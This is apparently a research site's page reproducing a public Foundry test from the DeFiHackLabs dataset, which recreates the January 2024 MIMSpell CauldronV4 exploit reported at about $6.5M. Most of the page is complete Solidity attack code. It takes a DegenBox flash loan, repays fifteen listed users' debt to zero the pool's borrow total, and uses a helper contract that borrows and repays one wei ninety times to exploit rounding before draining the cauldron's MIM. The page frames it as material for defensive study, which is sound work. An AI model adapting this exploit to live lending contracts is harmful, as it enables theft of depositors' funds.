Public reproduction file
src/test/2024-01/MIMSpell2_exp.sol
Public reproduction file for dataset entry MIMSpell.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$6,5M8// Attacker : https://etherscan.io/address/0x87f585809ce79ae39a5fa0c7c96d0d159eb678c99// Attack Contract : https://etherscan.io/address/0xE1091D17473b049CcCD65c54f71677Da85b77A4510// Created Attack Contract: https://etherscan.io/address/0x193E045BeE45C7573Ff89b12601C745AF739CE6711// Vuln Contract : https://etherscan.io/address/0x7259e152103756e1616a77ae982353c3751a6a9012// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x26a83db7e28838dd9fee6fb7314ae58dcc6aee9a20bf224c386ff5e80f7e4cf214// @Analysis15// https://twitter.com/kankodu/status/175258174480368068016// https://twitter.com/Phalcon_xyz/status/175227861455121649417// https://twitter.com/peckshield/status/175227937377919401118// https://app.blocksec.com/explorer/security-incidents20interface IDegenBox {21 function balanceOf(address, address) external view returns (uint256);23 function flashLoan(address borrower, address receiver, address token, uint256 amount, bytes memory data) external;25 function deposit(26 address token_,27 address from,28 address to,29 uint256 amount,30 uint256 share31 ) external payable returns (uint256 amountOut, uint256 shareOut);33 function withdraw(34 address token_,35 address from,36 address to,37 uint256 amount,38 uint256 share39 ) external returns (uint256 amountOut, uint256 shareOut);40}42interface ICauldronV4 {43 function addCollateral(address to, bool skim, uint256 share) external;45 function borrow(address to, uint256 amount) external returns (uint256 part, uint256 share);47 function repay(address to, bool skim, uint256 part) external returns (uint256 amount);49 function repayForAll(uint128 amount, bool skim) external returns (uint128);51 function userBorrowPart(52 address53 ) external view returns (uint256);55 function totalBorrow() external view returns (uint128 elastic, uint128 base);56}58contract ContractTest is Test {59 IERC20 private constant MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);60 IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);61 IERC20 private constant Crv3_USD_BTC_ETH = IERC20(0xc4AD29ba4B3c580e6D59105FFf484999997675Ff);62 IERC20 private constant yvCurve_3Crypto_f = IERC20(0x8078198Fc424986ae89Ce4a910Fc109587b6aBF3);63 IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);64 IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);65 IDegenBox private constant DegenBox = IDegenBox(0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce);66 ICauldronV4 private constant CauldronV4 = ICauldronV4(0x7259e152103756e1616A77Ae982353c3751A6a90);67 ICurvePool private constant MIM_3LP3CRV = ICurvePool(0x5a6A4D54456819380173272A5E8E9B9904BdF41B);68 ICurvePool private constant USDT_WBTC_WETH = ICurvePool(0xD51a44d3FaE010294C616388b506AcdA1bfAAE46);69 Uni_Pair_V3 private constant MIM_USDC = Uni_Pair_V3(0x298b7c5e0770D151e4C5CF6cCA4Dae3A3FFc8E27);70 Uni_Pair_V3 private constant USDC_WETH = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);72 function setUp() public {73 vm.createSelectFork("mainnet", 19_118_659);74 vm.label(address(MIM), "MIM");75 vm.label(address(USDT), "USDT");76 vm.label(address(WETH), "WETH");77 vm.label(address(Crv3_USD_BTC_ETH), "Crv3_USD_BTC_ETH");78 vm.label(address(yvCurve_3Crypto_f), "yvCurve_3Crypto_f");79 vm.label(address(USDC), "USDC");80 vm.label(address(DegenBox), "DegenBox");81 vm.label(address(CauldronV4), "CauldronV4");82 vm.label(address(MIM_3LP3CRV), "MIM_3LP3CRV");83 vm.label(address(USDT_WBTC_WETH), "USDT_WBTC_WETH");84 vm.label(address(MIM_USDC), "MIM_USDC");85 vm.label(address(USDC_WETH), "USDC_WETH");86 }88 function testExploit() public {89 emit log_named_decimal_uint("Exploiter MIM balance before attack", MIM.balanceOf(address(this)), MIM.decimals());91 emit log_named_decimal_uint(92 "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()93 );95 MIM.approve(address(DegenBox), type(uint256).max);96 MIM.approve(address(MIM_3LP3CRV), type(uint256).max);97 USDT.approve(address(USDT_WBTC_WETH), type(uint256).max);98 Crv3_USD_BTC_ETH.approve(address(yvCurve_3Crypto_f), type(uint256).max);99 yvCurve_3Crypto_f.approve(address(DegenBox), type(uint256).max);101 DegenBox.flashLoan(address(this), address(this), address(MIM), 300_000 * 1e18, "");103 // Exchange MIM to USDT104 MIM_3LP3CRV.exchange_underlying(0, 2, 4_300_000 * 1e18, 0);106 // Obtain USDC tokens107 MIM_USDC.swap(address(this), true, 100_000 * 1e18, 75_212_254_740_446_025_735_711, "");109 // Obtain WETH tokens110 USDC_WETH.swap(111 address(this),112 true,113 int256(USDC.balanceOf(address(this))),114 1_567_565_235_711_739_205_094_520_276_811_199,115 ""116 );118 emit log_named_decimal_uint("Exploiter MIM balance after attack", MIM.balanceOf(address(this)), MIM.decimals());120 emit log_named_decimal_uint(121 "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()122 );123 }125 function onFlashLoan(126 address initiator,127 address token,128 uint256 amount,129 uint256 fee,130 bytes calldata data131 ) external returns (bytes32) {132 (uint128 elastic,) = CauldronV4.totalBorrow();133 uint128 amount = uint128(uint128(elastic + uint128(50e18)) - uint128(240_000 * 1e18));135 DegenBox.deposit(address(MIM), address(this), address(DegenBox), amount, 0);136 MIM.transfer(address(CauldronV4), 240_000 * 1e18);137 CauldronV4.repayForAll(uint128(240_000 * 1e18), true);139 address[] memory users = new address[](15);140 users[0] = 0x941ec857134B13c255d6EBEeD1623b1904378De9;141 users[1] = 0x2f2A75279a2AC0C6b64087CE1915B1435b1d3ce2;142 users[2] = 0x577BE3eD9A71E1c355f519BBDF5f09Ba2018b1Cc;143 users[3] = 0xc3Be098f9594E57A3e71f485a53d990FE3961fe5;144 users[4] = 0xEe64495BF9894f6c0A2Df4ac983581AADb87f62D;145 users[5] = 0xe435BEbA6DEE3D6F99392ab9568777EB8165719d;146 users[6] = 0xc0433E26E3D2Ae7D1D80E39a6D58062D1eAA54f5;147 users[7] = 0x2c561aB0Ed33E40c70ea380BaA0dBC1ae75Ccd34;148 users[8] = 0x33D778eD712C8C4AdD5A07baB012d1ce7bb0B4C7;149 users[9] = 0x214BE7eBEc865c25c83DF5B343E45Aa3Bf8Df881;150 users[10] = 0x3B473F790818976d207C2AcCdA42cb432b749451;151 users[11] = 0x48ED01117a130b660272228728e07eF9efe21A30;152 users[12] = 0x7E1C8fEF68a87F7BdDf4ae644Fe4D6e6362F5fF1;153 users[13] = 0xD24cb02BEd630BAA49887168440D90BE8DA6708c;154 users[14] = 0x0aB7999894F36eDe923278d4E898e78085B289e6;156 uint8 i;157 while (i < users.length) {158 uint256 borrowPart = CauldronV4.userBorrowPart(users[i]);159 if (borrowPart > 0) {160 CauldronV4.repay(users[i], true, borrowPart);161 }162 ++i;163 }164 handleSpecialUser();166 // Exchange portion of MIM balance for USDT167 MIM_3LP3CRV.exchange_underlying(0, 3, 2000 * 1e18, 0);169 // Add exchanged USDT amount as liquidity to the pool. Receive (mint) Crv3_USD_BTC_ETH in return170 uint256[3] memory amounts;171 amounts[0] = USDT.balanceOf(address(this));172 amounts[1] = 0;173 amounts[2] = 0;174 // USDT_WBTC_WETH.add_liquidity(amounts, 0);175 (bool success,) = address(USDT_WBTC_WETH).call(abi.encodeWithSelector(bytes4(0x4515cef3), amounts, 0));176 require(success);178 // yvCurve_3Crypto_f.deposit(Crv3_USD_BTC_ETH.balanceOf(address(this)));179 (success,) = address(yvCurve_3Crypto_f).call(180 abi.encodeWithSelector(bytes4(0xb6b55f25), Crv3_USD_BTC_ETH.balanceOf(address(this)))181 );182 require(success);184 // Deposit yvCurve_3Crypto_f balance185 uint256 depositAmount = yvCurve_3Crypto_f.balanceOf(address(this));186 DegenBox.deposit(address(yvCurve_3Crypto_f), address(this), address(CauldronV4), depositAmount, 0);188 HelperExploitContract helper = new HelperExploitContract();189 // borrow and repay * 90x190 helper.exploit();192 CauldronV4.addCollateral(address(this), true, depositAmount - 100);193 CauldronV4.borrow(address(this), DegenBox.balanceOf(address(MIM), address(CauldronV4)));194 DegenBox.withdraw(195 address(MIM), address(this), address(this), DegenBox.balanceOf(address(MIM), address(this)), 0196 );198 // Repaying flashloan199 MIM.transfer(address(DegenBox), 300_000 * 1e18 + fee);200 return keccak256("ERC3156FlashBorrower.onFlashLoan");201 }203 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {204 if (msg.sender == address(MIM_USDC)) {205 MIM.transfer(address(MIM_USDC), uint256(amount0Delta));206 } else {207 USDC.transfer(address(USDC_WETH), uint256(amount0Delta));208 }209 }211 function handleSpecialUser() internal {212 address specialUser = 0x9445e93057F3f5e3452Ce50fC867b22a48B4d82A;213 uint256 borrowPart = CauldronV4.userBorrowPart(specialUser);214 CauldronV4.repay(specialUser, true, borrowPart - 100);215 for (uint8 i; i < 3; ++i) {216 CauldronV4.repay(specialUser, true, 1);217 }218 (uint128 elastic,) = CauldronV4.totalBorrow();219 require(elastic == 0);220 }221}223contract HelperExploitContract {224 ICauldronV4 private constant CauldronV4 = ICauldronV4(0x7259e152103756e1616A77Ae982353c3751A6a90);226 function exploit() external {227 CauldronV4.addCollateral(address(this), true, 100);228 CauldronV4.borrow(address(this), 1);230 uint8 i;231 while (i < 90) {232 CauldronV4.borrow(address(this), 1);233 CauldronV4.repay(address(this), true, 1);234 ++i;235 }236 CauldronV4.repay(address(this), true, 1);237 }239 receive() external payable {}240}Analysis
Dataset entry
Public Foundry test for “MIMSpell” (2024-01-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
19 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
- src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
- src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
- src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
- src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
- src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
- src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
- src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
- src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
- src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
- src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
- src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
- src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
- src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
- src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
- src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines
- src/test/2023-06/MIMSpell_exp.solSame protocol or name in the dataset · 110 lines
- src/test/2025-10/MIMSpell3_exp.solSame protocol or name in the dataset · 216 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x87f585809ce79ae39a5fa0c7c96d0d159eb678c9
- Attack Contract
0xe1091d17473b049cccd65c54f71677da85b77a45
- Attack Tx
0x26a83db7e28838dd9fee6fb7314ae58dcc6aee9a20bf224c386ff5e80f7e4cf2
- Explorer: https://etherscan.io/address/0x87f585809ce79ae39a5fa0c7c96d0d159eb678c9
- Explorer: https://etherscan.io/address/0xE1091D17473b049CcCD65c54f71677Da85b77A45
- Explorer: https://etherscan.io/address/0x193E045BeE45C7573Ff89b12601C745AF739CE67
- Explorer: https://etherscan.io/address/0x7259e152103756e1616a77ae982353c3751a6a90
- Reference: https://twitter.com/kankodu/status/1752581744803680680
- Reference: https://twitter.com/Phalcon_xyz/status/1752278614551216494
- Reference: https://twitter.com/peckshield/status/1752279373779194011
File record
- Name
- MIMSpell
- Path
- src/test/2024-01/MIMSpell2_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- cd8c1c6863f44bdd7d356470659c77f8d0323e65
- Language
- Solidity
- Size
- 241 lines
- Date
- 2024-01-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-01/MIMSpell2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cd8c1c6863f44bdd7d356470659c77f8d0323e65, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.